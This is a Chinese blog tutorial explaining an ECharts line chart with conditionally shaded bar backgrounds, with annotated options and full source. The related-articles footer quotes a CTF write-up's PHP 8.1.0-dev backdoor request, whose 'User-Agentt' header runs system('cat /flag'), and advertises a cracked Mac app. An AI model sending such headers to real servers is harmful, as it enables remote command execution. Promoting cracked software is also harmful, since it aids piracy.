折线图实现柱状阴影背景的demo

这个是一个由官网的基础折线图实现的流程,将涉及到的知识点附上个人浅薄的见解,源码在最后,需要的可自取。

折线图

  • 成果展示
  • 代码注解
    • 参数
    • backgroundColor
    • dataZoom
    • legend
    • title
    • xAxis
    • yAxis
    • grid
    • series
  • 源码

成果展示

官网的基础折线图:
在这里插入图片描述
最终效果图:
在这里插入图片描述

代码注解

参数

xdata :x轴数据
ydata1 :第一条折线line1数据
ydata2 :第二条折线line2数据
bgdata :柱状阴影条的数据,这里统一设置为40,是因为ydata1和 ydata2的最大值都在40范围内,以达到阴影撑满图标高度的效果,同时,也可设置yAxis的max值与bgdata 里的值一致
threshold :用于存放每个x轴数据对应的line1和line2相差的最大值
average :总平均时长
historyAveraged :步骤平均耗时
averageCount :步骤总数

这里的值均为固定值,后期可根据自身需求添加数据逻辑

var xdata = ["第1步 步骤名称","第2步 步骤名称","第3步 步骤名称","第4步 步骤名称","第5步 步骤名称",
        "第6步 步骤名称","第7步 步骤名称","第8步 步骤名称","第9步 步骤名称","第10步 步骤名称","第11步 步骤名称",
        "第12步 步骤名称","第13步 步骤名称","第14步 步骤名称","第15步 步骤名称","第16步 步骤名称","第17步 步骤名称",
        "第18步 步骤名称", "第19步 步骤名称","第20步 步骤名称","第21步 步骤名称","第22步 步骤名称","第23步 步骤名称","第24步 步骤名称",
      ];
      var ydata1 = [21,20,34,31,22,18,18,18,18,18,18,21,15,34,31,
        22,18,18,18,18,18,18,18,18,
      ];
      var ydata2 = [18,16,25,30,15, 18,18,18,18,18,18,18,
        16,25,30,15,18,18,18,18,18, 18,18,18,
      ];
      var bgdata = [40,40,40,40,40,40,40,40,40,40,40,
        40,40,40,40,40,40,40,40,40,40,40, 40,40,
      ];
      var threshold = 7;
      var average = 140,
        historyAveraged = 5.6,
        averageCount = 2.5;

backgroundColor

官网api可查看具体参数:点击跳转至官网查看backgroundColor
这里直接配置颜色参数。

backgroundColor: "transparent",//透明背景色,跟随父盒子颜色,看板中比较常用
backgroundColor: "#375a84",//成果主图的背景颜色

dataZoom

官网api可查看具体参数:点击跳转至官网查看dataZoom
dataZoom 就是可用于缩放和平移数据的组件,可以用于对大量数据进行局部放大或整体滚动查看。dataZoom 可以水平或垂直放置在图表的底部或侧边,并支持拖拽、滚动、点击等交互操作。

dataZoom: [
          {
            type: "slider", // 设置为滑动条
            show: true, // 显示滑动条
            start: 0, // 滑动条起始位置
            end: 100 / (12 - 10) - 1, // 滑动条结束位置
            bottom: 10, // 滑动条距离底部的距离
            textStyle: {
              color: "#fff",
            },
            backgroundColor: "#acb7c3", // 设置背景颜色
            handleStyle: {
              color: "#2a82e4", // 设置左右两边的可滑动收缩竖线颜色
            },
          },
        ],

legend

官网api可查看具体参数:点击跳转至官网查看legend
legend 用于展示图表中不同系列的标识和名称的组件,通过legend,用户可以快速了解每个系列所代表的含义,并可以通过点击图例项来切换显示或隐藏对应的数据系列。

legend: {
          data: ["步骤平均时长", "步骤历史平均时长"],
          orient: "vertical", // 设置图例垂直排列
          right: 10, // 调整图例距离右侧的距离
          top: "top", // 设置图例位于上方
          itemWidth: 10, // 设置宽度
          itemHeight: 10, // 设置高度
          textStyle: {//设置字体样式
            color: "#fff",//字体颜色
          },
        },

title

官网api可查看具体参数:点击跳转至官网查看title
title 是用于设置图表标题的组件,可以用来展示整个图表的主题或概要信息。通过 title 组件,用户可以自定义图表的标题文字、样式、位置等属性。
可以通过设置 left、top、right、bottom 等属性,可以调整标题的位置。并且Echarts 中的 title 组件是能单独存在的,也能放在整个 option 配置对象中的任何位置。
可根据自己需求调整title的位置。

title: {
          // 添加title属性
          text:
            "总平均时长" +
            average +
            "s\n\n步骤总数" +
            averageCount +
            "\n\n步骤平均耗时" +
            historyAveraged +
            "s", // 自定义的文字内容
          //subtext: '副标题', // 设置副标题文字
          //left: 'center' // 设置标题水平居中
          orient: "vertical", // 设置图例垂直排列
          right: 10, // 调整图例距离右侧的距离
          top: 80, // 设置图例位于上方
          itemWidth: 10, // 设置宽度
          itemHeight: 10, // 设置高度
          textStyle: {
            color: "#fff",
            fontSize: 12,//设置字体大小
          },
        },

xAxis

官网api可查看具体参数:点击跳转至官网查看xaxis
xAxis(x 轴)用于显示水平方向的坐标轴,通常用于表示类目数据或数值数据。在 ECharts 中,可以通过配置 xAxis 属性来对 x 轴进行设置。
以下是一些常见的 xAxis 配置选项:

type: x 轴类型,可以是 ‘value’(数值轴)、‘category’(类目轴)、‘time’(时间轴)等。
data: 类目轴的数据,在 type 为 ‘category’ 时使用。
axisLabel: x 轴刻度标签的设置,可以设置字体颜色、字体大小等样式。
axisLine: x 轴线的样式设置,可以设置线条颜色、粗细等。
name: x 轴名称。
nameTextStyle: x 轴名称的样式设置,可以设置颜色、字体大小等。
splitLine: 分隔线的设置,可以显示或隐藏 x 轴的分隔线。

xAxis: {
          type: "category",// 横轴类型为类目轴,适用于离散的类目数据
          data: xdata,// 设置 x 轴的数据,即类目轴的数据源
          axisLabel: {// 设置 x 轴标签的样式
            formatter: function (value) {
              return value.split(" ").join("\n"); // 自定义轴标签格式化函数,使用换行符拆分字符串并重新连接
            },
            textStyle: {// 设置轴标签文字的样式
              fontSize: 12, // 设置 x 轴字体大小为 12px
              color: function (params) {// 根据条件动态设置文字颜色
                if (params == "第3步 步骤类型") {
                  return "rgba(190, 53, 59, 1)";// 如果标签为"第3步 位置管控",设置颜色为红色
                } else {
                  return "rgba(255, 255, 255, 0.16)";// 其他标签设置为灰色
                }
              },
            },
          },
          axisLine: {// 设置轴线的样式
            lineStyle: {
              color: "#fff", // 设置轴线颜色为白色
            },
          },
        },

yAxis

官网api可查看具体参数:点击跳转至官网查看yAxis
yAxis(纵轴)用于配置直角坐标系中的纵轴属性,包括坐标轴类型、刻度分隔、标签样式等。

type: 指定了纵轴的类型,例如’value’表示数值轴。
name: 设置纵轴的名称,用于描述纵轴所代表的数据意义。
axisLabel: 定义了纵轴标签的样式,包括文字颜色和大小等。
splitLine: 控制分隔线的显示与样式,可以设置是否显示分隔线以及分隔线的样式。

通过配置 yAxis,可以灵活地控制纵轴的显示方式、标签样式以及分隔线的展示,从而使得图表能够清晰地呈现数据,并满足不同的可视化需求。

yAxis: {
          type: "value",// 纵轴类型为数值轴,适用于连续的数值数据
          name: "second",// 设置 y 轴的名称为"second"
          splitLine: {
            show: false,// 是否显示 y 轴的分隔线,这里设为隐藏
          },
          axisLabel: { // 设置 y 轴标签的样式
            textStyle: {
              color: "#ffffff", // 设置 y 轴字体颜色为 #fff
              fontSize: 12, // 设置 y 轴字体大小为 14px
            },
          },
          axisLine: {// 设置 y 轴线条的样式
            lineStyle: {
              color: "#ffffff", // 设置 y 轴线条颜色为 #fff
            },
          },
          nameTextStyle: {// 设置 y 轴名称的样式
            color: "#ffffff", // 设置 y 轴名称颜色为 #fff
          },
        },

grid

官网api可查看具体参数:点击跳转至官网查看grid
grid(网格)组件用于控制直角坐标系的布局,可以通过 grid 来调整坐标系的位置、大小以及间距等。

left / right / top / bottom: 分别设置 grid 组件距离容器的左、右、上、下边距的距离,可以是像素值或百分比。
containLabel: 控制 grid 区域是否包含坐标轴的刻度标签,默认为 false。
backgroundColor: 设置 grid 区域的背景颜色,可以是颜色值或者渐变色。
borderWidth: 设置 grid 区域的边框线宽。
borderColor: 设置 grid 区域的边框颜色。

通过配置 grid,可以灵活地调整图表的布局,使得图表在页面中的位置和大小符合需求,并且能够美观地展示数据。

grid: {
          left: "3%",
          right: "10%",
          bottom: "10%",
        },

series

官网api可查看具体api:点击跳转至官网查看series
折线图后面的柱状阴影重点在与series数组的第三个对象,这里设置了一个单独柱状图(type为bar)的类型,并设置其颜色效果,以达到阴影效果。

series: [
          {
            name: "步骤平均时长",
            data: ydata1,
            type: "line",
            symbol: "rect", // 将折线图的拐点符号设置为方形
            symbolSize: 10, // 设置方形的大小为8
            lineStyle: {
              color: "#ffffff", // 设置第一条线的颜色为 #00baad
            },
            itemStyle: {
              color: "#ffffff", // 设置第一条线的方形颜色为 #ffffff
            },
            label: {
              // 添加对应值显示
              show: true,
              position: "top", // 显示在拐点上方
            },
            z: 2,
          },
          {
            name: "步骤历史平均时长",
            data: ydata2,
            type: "line",
            symbol: "rect", // 将折线图的拐点符号设置为方形
            symbolSize: 10, // 设置方形的大小为8
            lineStyle: {
              color: "#00baad", // 设置第一条线的颜色为 #00baad
            },
            itemStyle: {
              color: "#00baad", // 设置第一条线的方形颜色为 #ffffff
            },
            label: {
              // 添加对应值显示
              show: true,
              position: "bottom",
              color: "#00baad",
            },
            z: 2,
          },
          {//这里是柱状阴影的关键部分
            data: bgdata,
            type: "bar",// 柱状图类型
            barWidth: 68,// 柱宽度
            // itemStyle: {
            //   color: "rgba(0,0,0,0.16)",
            // },
            itemStyle: {
              normal: {
                color: function (params) {
                  var aValue = ydata1[params.dataIndex];
                  var bValue = ydata2[params.dataIndex];
                  if (Math.abs(aValue - bValue) > threshold) {//若差值大于最大差值,则设置其字体颜色为红色
                    return "rgba(102, 77, 107,0.6)";
                  } else {
                    return "rgba(0,0,0,0.16)";
                  }
                },
              },
            },
          },
        ],

源码

      var xdata = [
        "第1步 步骤名称",
        "第2步 步骤名称",
        "第3步 步骤名称",
        "第4步 步骤名称",
        "第5步 步骤名称",
        "第6步 步骤名称",
        "第7步 步骤名称",
        "第8步 步骤名称",
        "第9步 步骤名称",
        "第10步 步骤名称",
        "第11步 步骤名称",
        "第12步 步骤名称",
        "第13步 步骤名称",
        "第14步 步骤名称",
        "第15步 步骤名称",
        "第16步 步骤名称",
        "第17步 步骤名称",
        "第18步 步骤名称",
        "第19步 步骤名称",
        "第20步 步骤名称",
        "第21步 步骤名称",
        "第22步 步骤名称",
        "第23步 步骤名称",
        "第24步 步骤名称",
      ];
      var ydata1 = [
        21,
        20,
        34,
        31,
        22,
        18,
        18,
        18,
        18,
        18,
        18,
        21,
        15,
        34,
        31,
        22,
        18,
        18,
        18,
        18,
        18,
        18,
        18,
        18,
      ];
      var ydata2 = [
        18,
        16,
        25,
        30,
        15,
        18,
        18,
        18,
        18,
        18,
        18,
        18,
        16,
        25,
        30,
        15,
        18,
        18,
        18,
        18,
        18,
        18,
        18,
        18,
      ];
      var bgdata = [
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
        40,
      ];
      var threshold = 7;
      var average = 140,
        historyAveraged = 5.6,
        averageCount = 2.5;
      option = {
        backgroundColor: "#375a84",
        dataZoom: [
          {
            type: "slider", // 设置为滑动条
            show: true, // 显示滑动条
            start: 0, // 滑动条起始位置
            end: 100 / (12 - 10) - 1, // 滑动条结束位置
            bottom: 10, // 滑动条距离底部的距离
            textStyle: {
              color: "#fff",
            },
            backgroundColor: "#acb7c3", // 设置背景颜色
            handleStyle: {
              color: "#2a82e4", // 设置左右两边的可滑动收缩竖线颜色
            },
          },
        ],
        legend: {
          legend: {
            data: ["步骤平均时长", "步骤历史平均时长"],
          },
          orient: "vertical", // 设置图例垂直排列
          right: 10, // 调整图例距离右侧的距离
          top: "top", // 设置图例位于上方
          itemWidth: 10, // 设置宽度
          itemHeight: 10, // 设置高度
          textStyle: {
            color: "#fff",
          },
        },
        title: {
          // 添加title属性
          text:
            "总平均时长" +
            average +
            "s\n\n步骤总数" +
            averageCount +
            "\n\n步骤平均耗时" +
            historyAveraged +
            "s", // 自定义的文字内容
          orient: "vertical", // 设置图例垂直排列
          right: 10, // 调整图例距离右侧的距离
          top: 80, // 设置图例位于上方
          itemWidth: 10, // 设置宽度
          itemHeight: 10, // 设置高度
          textStyle: {
            color: "#fff",
            fontSize: 12,
          },
        },
        xAxis: {
          type: "category",
          data: xdata,
          axisLabel: {
            formatter: function (value) {
              return value.split(" ").join("\n"); // 使用换行符拆分字符串并重新连接
            },
            textStyle: {
              fontSize: 12, // 设置 x 轴字体大小为 12px
              color: function (params) {
                if (params == "第3步 位置管控") {
                  return "rgba(190, 53, 59, 1)";
                } else {
                  return "rgba(255, 255, 255, 0.16)";
                }
              },
            },
          },
          axisLine: {
            lineStyle: {
              color: "#fff", // 设置 x 轴线条颜色为 #fff
            },
          },
        },
        yAxis: {
          type: "value",
          name: "second",
          splitLine: {
            show: false, // 隐藏y轴的横向线条
          },
          axisLabel: {
            textStyle: {
              color: "#ffffff", // 设置 y 轴字体颜色为 #fff
              fontSize: 12, // 设置 y 轴字体大小为 14px
            },
          },
          axisLine: {
            lineStyle: {
              color: "#ffffff", // 设置 y 轴线条颜色为 #fff
            },
          },
          nameTextStyle: {
            color: "#ffffff", // 设置 y 轴名称颜色为 #fff
          },
        },
        grid: {
          left: "3%",
          right: "10%",
          bottom: "10%",
        },
        series: [
          {
            name: "步骤平均时长",
            data: ydata1,
            type: "line",
            symbol: "rect", // 将折线图的拐点符号设置为方形
            symbolSize: 10, // 设置方形的大小为8
            lineStyle: {
              color: "#ffffff", // 设置第一条线的颜色为 #00baad
            },
            itemStyle: {
              color: "#ffffff", // 设置第一条线的方形颜色为 #ffffff
            },
            label: {
              // 添加对应值显示
              show: true,
              position: "top", // 显示在拐点上方
            },
            z: 2,
          },
          {
            name: "步骤历史平均时长",
            data: ydata2,
            type: "line",
            symbol: "rect", // 将折线图的拐点符号设置为方形
            symbolSize: 10, // 设置方形的大小为8
            lineStyle: {
              color: "#00baad", // 设置第一条线的颜色为 #00baad
            },
            itemStyle: {
              color: "#00baad", // 设置第一条线的方形颜色为 #ffffff
            },
            label: {
              // 添加对应值显示
              show: true,
              position: "bottom",
              color: "#00baad",
            },
            z: 2,
          },
          {
            data: bgdata,
            type: "bar",
            barWidth: 68,
            // itemStyle: {
            //   color: "rgba(0,0,0,0.16)",
            // },
            itemStyle: {
              normal: {
                color: function (params) {
                  var aValue = ydata1[params.dataIndex];
                  var bValue = ydata2[params.dataIndex];
                  if (Math.abs(aValue - bValue) > threshold) {
                    return "rgba(102, 77, 107,0.6)";
                  } else {
                    return "rgba(0,0,0,0.16)";
                  }
                },
              },
            },
          },
        ],
      };

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/430126.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

BetterDisplay Pro for Mac v2.0.11激活版:屏幕显示优化专家

BetterDisplay Pro是一款由waydabber开发的Mac平台上的显示器校准软件,可以帮助用户调整显示器的颜色和亮度,以获得更加真实、清晰和舒适的视觉体验。 软件下载:BetterDisplay Pro for Mac v2.0.11激活版下载 🔍 精准校准&#xf…

[HackMyVM]靶场 Quick3

kali:192.168.56.104 主机发现 arp-scan -l # arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:05 (U…

【触想智能】工业一体机刷卡应用知识分享

工业一体机刷卡技术是一种高效、稳定、安全的身份认证方式,具有广泛的应用场景和优势。在工业自动化控制、生产过程监测等领域,它已成为必不可少的设备之一。 一、工业一体机刷卡的原理:工业一体机刷卡的原理和普通的刷卡设备类似,都是通过读…

3.1_2024ctf青少年比赛部分web题

php后门 根据x-powered-by知道php的版本 该版本存在漏洞: PHP 8.1.0-dev 开发版本后门 根据报错信息,进行提示,前 GET / HTTP/1.1 Host: challenge.qsnctf.com:31639 User-Agentt:12345678system(cat /flag);var_dump(2*3);zerodium12345678…

QChart柱状图

//柱状图// 创建柱状图数据QBarSet *set0 new QBarSet("");*set0 << 1601 << 974 << 655 << 362;QBarSeries *series new QBarSeries();series->append(set0);set0->setColor(QColor("#F5834B"));// 创建柱状图QChart *ch…

高校校园点餐系统|基于B/S结构+ Mysql+Java+JSP技术的高校校园点餐系统平台设计与实现(源码+数据库+文档+PPT)

目录 摘 要 数据库设计 用户信息实体图 食堂信息实体图 留言板信息实体图 数据库表设计 系统详细设计 前台首页功能模块 管理员功能模块 食堂功能模块 用户功能模块 论文参考 文末获取源码联系 摘 要 21世纪的今天&#xff0c;随着社会的不断发展与进步&#xff…

STM 32 HAL库 UART 调试的问题

问题1&#xff1a;STM32G0 系列 DMA中断接收&#xff0c;应用层无法接收到数据 分析&#xff1a; Debug发现&#xff0c;最终没有进入串口中断函数 。 于是&#xff0c;检查Stm32CubeMX 的工程配置 两个串口的全局中断没有使能。 解决&#xff1a;勾选上图中红框部分&#x…

docker 常用命令大全(基础、镜像、容器、数据卷)

文章目录 1.docker基础命令2.docker镜像命令2.1 镜像名称2.2 镜像命令2.3 案例1--拉取、查看镜像2.4 案例2--保存、导入镜像 3.docker容器命令3.1 容器命令3.2 案例--创建并运行一个容器3.3 案例--进入容器&#xff0c;修改文件3.4 小结 4.数据卷4.1 什么是数据卷4.2 数据卷操作…

【Android】位置修改相关

获取位置服务总开关状态 //获取LOCATION_MODE值&#xff0c;但adb状态下无法获取 //0为关闭&#xff0c;1 gps、2 network、3 高精度等 int state Settings.Secure.getInt(mContext.getContentResolver(),Settings.Secure.LOCATION_MODE,Settings.Secure.LOCATION_MODE_HIGH_…

Netty(1)nio

一. NIO 基础 non-blocking io 非阻塞 IO 1. 三大组件 1.1 Channel & Buffer channel 有一点类似于 stream&#xff0c;它就是读写数据的双向通道&#xff0c;可以从 channel 将数据读入 buffer&#xff0c;也可以将 buffer 的数据写入 channel&#xff0c;而之前的 st…

多平台拼音输入法软件的开发

拼音输入法从上个世纪发展到现在, 已经发展了几十年了, 技术上已经非常成熟了. 换句话说, 就是实际上没多少技术含量, 随便来个人就能手搓一个. 本文介绍一个简单的多平台拼音输入法软件的设计和实现, 支持 GNU/Linux (ibus) 平台 (PC) 和 Android 平台 (手机). 目录 1 中文输…

JVM(类加载机制)

类加载就是 .class 文件, 从文件(硬盘) 被加载到内存(元数据区)中的过程 类加载的过程 加载: 找 .class 文件的过程, 打开文件, 读文件, 把文件读到内存中 验证: 检查 .class 文件的格式是否正确 .class 是一个二进制文件, 其格式有严格的说明 准备: 给类对象分配内存空间 (先在…

[数据集][目标检测]鸡蛋破蛋数据集VOC+YOLO格式792张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;792 标注数量(xml文件个数)&#xff1a;792 标注数量(txt文件个数)&#xff1a;792 标注类别…

OpenDDS 在 Windows 上的编译环境部署指南

目录 1、OpenDDS2、编译OpenDDS2.1、准备工作2.2、配置环境变量2.3、编译-TAO_IDL_ACE2.4、编译-TAO_ACE2.5、编译-ACE2.7、生成OpenDDS的解决方案2.8、编译-DDS_no_test2.9、编译-DDS 1、OpenDDS OpenDDS是使用C语言针对OMG数据分发服务(DDS)的一种开源实现。由OCI公司设计和…

07. Nginx进阶-Nginx负载均衡

简介 负载均衡 什么是负载均衡&#xff1f; 负载均衡&#xff0c;英文名称为Load Balance&#xff0c;其含义就是指将负载&#xff08;工作任务&#xff09;进行平衡、分摊到多个操作单元上进行运行。 Nginx负载均衡 什么是Nginx负载均衡&#xff1f; Nginx负载均衡可以大…

Kubernetes 二进制部署 《easzlab / kubeasz项目部署》- 00-规划集群和配置介绍(二)

Kubernetes 二进制部署 - easzlab / kubeasz项目部署 00-规划集群和配置介绍1.首先创建集群配置实例2. 修改配置文件 在前一章&#xff0c;我们部署了一些基本环境&#xff0c;服务器&#xff0c;接下来&#xff0c;我们开始部署k8s相关组件 server list 类型IP主机名VIPgitl…

STM32 TIM编码器接口

单片机学习&#xff01; 目录 文章目录 前言 一、编码器接口简介 1.1 编码器接口作用 1.2 编码器接口工作流程 1.3 编码器接口资源分布 1.4 编码器接口输入引脚 二、正交编码器 2.1 正交编码器功能 2.2 引脚作用 2.3 如何测量方向 2.4 正交信号优势 2.5 执行逻辑 三、编码器定时…

WebGIS开发0基础必看教程:地图瓦片在Canvas上的拼接显示

1.前言 在之前的五个章节中&#xff0c;我们在第一章节里介绍了WebGIS的基本框架和技术&#xff0c;第二章节里介绍了什么是瓦片行列号以及计算它的原因&#xff0c;第三章节里介绍了如何通过地理范围计算出这个范围内瓦片的行列号&#xff0c;第四和第五章节里介绍了在得到瓦…

如何让 JOIN 跑得更快?

JOIN 一直是数据库性能优化的老大难问题&#xff0c;本来挺快的查询&#xff0c;一旦涉及了几个 JOIN&#xff0c;性能就会陡降。而且&#xff0c;参与 JOIN 的表越大越多&#xff0c;性能就越难提上来。 其实&#xff0c;让 JOIN 跑得快的关键是要对 JOIN 分类&#xff0c;分…

C++max函数的使用案例20个

文章目录 1. **基本用法&#xff1a;**2. **比较浮点数&#xff1a;**3. **比较字符串&#xff1a;**4. **使用自定义比较函数&#xff1a;**5. **比较容器中的元素&#xff1a;**6. **使用std::initializer_list&#xff1a;**7. **变长参数版本&#xff08;C11及以上&#xf…